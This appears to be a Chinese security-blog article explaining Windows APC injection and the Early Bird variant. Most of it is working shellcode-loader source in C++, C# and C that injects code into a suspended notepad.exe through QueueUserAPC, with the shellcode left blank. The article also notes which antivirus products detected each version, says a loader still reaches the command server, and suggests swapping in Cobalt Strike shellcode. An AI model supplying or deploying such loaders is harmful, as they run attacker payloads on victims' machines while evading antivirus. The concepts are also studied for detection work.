APC注入以及几种实现方式

VSole2022-12-15 11:02:08

APC介绍

APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

APC注入的一些前置如下:

  • 线程在进程内执行
  • 线程会调用在APC队列中的函数
  • 应用可以给特定线程的APC队列压入函数(有权限控制)
  • 压入队列后,线程将按照顺序优先级执行(FIFO)
  • 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数

MSDN上对此解释如下

QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc: 函数作用: 回调函数的写法.

首先异步函数调用的原理:

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

APC 注入

简单原理

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

注入流程

QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。

APC注入实现

函数原型

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,     //APC 注入方式
  [in] HANDLE    hThread,     
  [in] ULONG_PTR dwData);

C++ 实现

代码如下

#include #include unsigned char shellcode[] = "";    //shellcode "\xfc\x48\x83\xe4"int main(){
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";   //path
    SIZE_T buff = sizeof(shellcode);      //size of shellcode
    STARTUPINFOA sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };     //return a new process info
    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);      //create a new thread for process
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;    
    // write shellcode to the process memory
    LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
    WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
    // use QueueUserAPC  load shellcode
    QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
    ResumeThread(hThread);
    return 0;}

C#实现

代码如下

using System;using System.Runtime.InteropServices;
 public class shellcode
 { [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
 public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
 public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
 public enum ProcessAccessRights
 {
 All = 0x001F0FFF,
 Terminate = 0x00000001,
 CreateThread = 0x00000002,
 VirtualMemoryOperation = 0x00000008,
 VirtualMemoryRead = 0x00000010,
 VirtualMemoryWrite = 0x00000020,
 DuplicateHandle = 0x00000040,
 CreateProcess = 0x000000080,
 SetQuota = 0x00000100,
 SetInformation = 0x00000200,
 QueryInformation = 0x00000400,
 QueryLimitedInformation = 0x00001000,
 Synchronize = 0x00100000
 }
 public enum ThreadAccess : int
 {
 TERMINATE = (0x0001),
 SUSPEND_RESUME = (0x0002),
 GET_CONTEXT = (0x0008),
 SET_CONTEXT = (0x0010),
 SET_INFORMATION = (0x0020),
 QUERY_INFORMATION = (0x0040),
 SET_THREAD_TOKEN = (0x0080),
 IMPERSONATE = (0x0100),
 DIRECT_IMPERSONATION = (0x0200),
 THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
 THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
 }
 public enum MemAllocation
 {
 MEM_COMMIT = 0x00001000,
 MEM_RESERVE = 0x00002000,
 MEM_RESET = 0x00080000,
 MEM_RESET_UNDO = 0x1000000,
 SecCommit = 0x08000000
 }
 public enum MemProtect
 {
 PAGE_EXECUTE = 0x10,
 PAGE_EXECUTE_READ = 0x20,
 PAGE_EXECUTE_READWRITE = 0x40,
 PAGE_EXECUTE_WRITECOPY = 0x80,
 PAGE_NOACCESS = 0x01,
 PAGE_READONLY = 0x02,
 PAGE_READWRITE = 0x04,
 PAGE_WRITECOPY = 0x08,
 PAGE_TARGETS_INVALID = 0x40000000,
 PAGE_TARGETS_NO_UPDATE = 0x40000000,
 } [StructLayout(LayoutKind.Sequential)]
 public struct PROCESS_INFORMATION
 {
 public IntPtr hProcess;
 public IntPtr hThread;
 public int dwProcessId;
 public int dwThreadId;
 } [StructLayout(LayoutKind.Sequential)]
 internal struct PROCESS_BASIC_INFORMATION
 {
 public IntPtr Reserved1;
 public IntPtr PebAddress;
 public IntPtr Reserved2;
 public IntPtr Reserved3;
 public IntPtr UniquePid;
 public IntPtr MoreReserved;
 } [StructLayout(LayoutKind.Sequential)]
 //internal struct STARTUPINFO
 public struct STARTUPINFO
 {
 uint cb;
 IntPtr lpReserved;
 IntPtr lpDesktop;
 IntPtr lpTitle;
 uint dwX;
 uint dwY;
 uint dwXSize;
 uint dwYSize;
 uint dwXCountChars;
 uint dwYCountChars;
 uint dwFillAttributes;
 public uint dwFlags;
 public ushort wShowWindow;
 ushort cbReserved;
 IntPtr lpReserved2;
 IntPtr hStdInput;
 IntPtr hStdOutput;
 IntPtr hStdErr;
 }
 public static PROCESS_INFORMATION StartProcess(string binaryPath)
 {
 uint flags = 0x00000004;
 STARTUPINFO startInfo = new STARTUPINFO();
 PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
 CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
 return procInfo;
 }
 public TestClass()
 {
 string b64 = ""; //shellcode base64 encode
 string targetprocess = "C:/Windows/System32/notepad.exe";
 byte[] shellcode = new byte[] { };
 shellcode = Convert.FromBase64String(b64);
 uint lpNumberOfBytesWritten = 0;
 PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
 IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
 //write shellcode to the process memory
 IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
 if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
 {
 IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
 IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
 ResumeThread(tHandle);
 }
 bool hOpenProcessClose = CloseHandle(pHandle);
 }
 }

这里测试过了火绒但是没过360

C实现

代码如下

#include #include unsigned char shellcode[] = <shellcode>;   //shellcode   {0xfc,0x48,0x83}unsigned int buff = sizeof(shellcode);int main(void) {
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 void * ptApcRoutine;
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory(&pi, sizeof(pi));
 CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
 ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
 WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
 QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
 ResumeThread(pi.hThread);
 return 0;}

这里被360杀了,但是加载是能上线的。

APC 注入变种 Early bird

Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlertNtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行)

通常使用的 Windows 函数包括:

  • CreateProcessA :此函数用于创建新进程及其主线程。
  • VirtualAllocEx :在指定进程的虚拟空间保留或提交内存区域
  • WriteProcessMemory :将数据写入指定进程的内存区域。
  • QueueUserAPC :允许将 APC 对象添加到指定线程的 APC 队列中。

Early bird注入流程

  • 1.创建一个挂起的进程(通常是windows的合法进程)
  • 2.在挂起的进程内申请一块可读可写可执行的内存空间
  • 3.往申请的空间内写入shellcode
  • 4.将APC插入到该进程的主线程
  • 5.恢复挂起进程的线程

Early bird注入实现

C实现

代码如下

#include int main() {
 unsigned char shellcode[] = ""; //shellcode  "\xfc\x48\x83\xe4"
 SIZE_T shellSz = sizeof(buff);
 STARTUPINFOA st = { 0 };
 PROCESS_INFORMATION prt = { 0 };
 CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
 HANDLE victimProcess = prt.hProcess;
 HANDLE threadHandle = prt.hThread;
 LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
 WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
 QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
 ResumeThread(threadHandle);
 return 0;}

C++实现

代码如下

#include int main(){
    unsigned char shellcode[] = "";    //"\xfc\x48\x83\xe4"
    SIZE_T shellSize = sizeof(buf);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);
    return 0;}

Go实现

参考项目:https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird

将其中的shellcode替换成CS的shellcode即可

编译之后运行上线

参考

https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN

http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html

https://www.cnblogs.com/iBinary/p/7574055.html

https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

https://idiotc4t.com/code-and-dll-process-injection/early-bird

线程本地线程
本作品采用《CC 协议》,转载必须注明作者和本文链接
Java线程安全:狭义地认为是多线程之间共享数据的访问。 Java语言中各种操作共享的数据有5种类型:不可变、绝对线程安全、相对线程安全、线程兼容、线程独立
x32TLS回调函数实验
2023-05-31 09:34:55
TLS回调函数介绍TLS回调函数是在程序运行时由操作系统自动调用的一组函数,用于在进程加载和卸载时执行一些初始化和清理操作。在TLS回调函数中,可以访问当前线程的TLS数据,并对其进行修改或检查。值得一提的是TLS回调可以用来反调试,原理实为在实际的入口点代码执行之前执行检测调试器代码。为了栈平衡,我们要把传进这个回调函数的参数所占用的
在2020年夏季,我们发现了一个未知的多模块C ++工具集,该工具集可用于可追溯到2018年的针对性强的工业间谍攻击。最初,我们对该恶意软件感兴趣的原因是其稀有性,该活动的明显针对性以及存在在代码,基础架构或TTP...
堆区分为两大区:Young区和Old区,又称新生代和老年代。在不同的JVM实现及不同的回收机制中,堆内存的划分方式是不一样的。相对于基于寄存器的运行环境来说,JVM是基于栈结构的运行环境。在活动线程中,只有位于栈顶的帧才是有效的,称为当前栈帧。正在执行的方法称为当前方法,栈帧是方法运行的基本结构。在执行引擎运行时,所有指令都只能针对当前栈帧进行操作。而StackOverflowError表示请求的栈溢出,导致内存耗尽,通常出现在递归方法中。
Carbon Black的安全研究人员在周三的一份报告中说,一种名为Conti的勒索病毒正在使用多达32个并行CPU线程来对受感染计算机上的文件进行加密,以达到极快的加密速度。Conti只是今年发现的一系列勒索软件中最新的一种。安全研究人员于今年 2 月初首次发现了Conti开发人员,但是Carbon Black现在报道其TAU 发现了Conti感染。Carbon Black的TAU在周三发布的技术报告中说,在分析Conti代码时突出的项目是对多线程操作的支持。
AppInfo是一个本地RPC服务,其接口ID为201ef99a-7fa0-444c-9399-19ba84f12a1a,AppInfo 是 UAC 提升的关键。ShellExecuteEx()通过 RPC 调用将所有提升请求转发到 AppInfo NT 服务。
先看一个小例子,明白如何创建一个 Caffeine 缓存实例。因为如果提前能预估缓存的使用大小,那么可以设置缓存的初始容量,以免缓存不断地进行扩容,致使效率不高。
APT 攻击(Advanced Persistend Thread,高级持续性威胁)是利用先进的攻击手段对特定的目标进行长期持续性网络攻击的攻击形式。APT 攻击形式相对于其他攻击形式更为高级和先进,其高级性主要体现在精准的信息收集、高度的隐蔽性以及针对于各种复杂系统或应用程序的漏洞利用等方面。
Windows SMB Ghost CVE-2020-0796漏洞分析与利用(二)
Java 8 的内存结构
2022-03-10 14:37:13
java8内存结构图虚拟机内存与本地内存的区别Java虚拟机在执行的时候会把管理的内存分配成不同的区域,这些
VSole
网络安全专家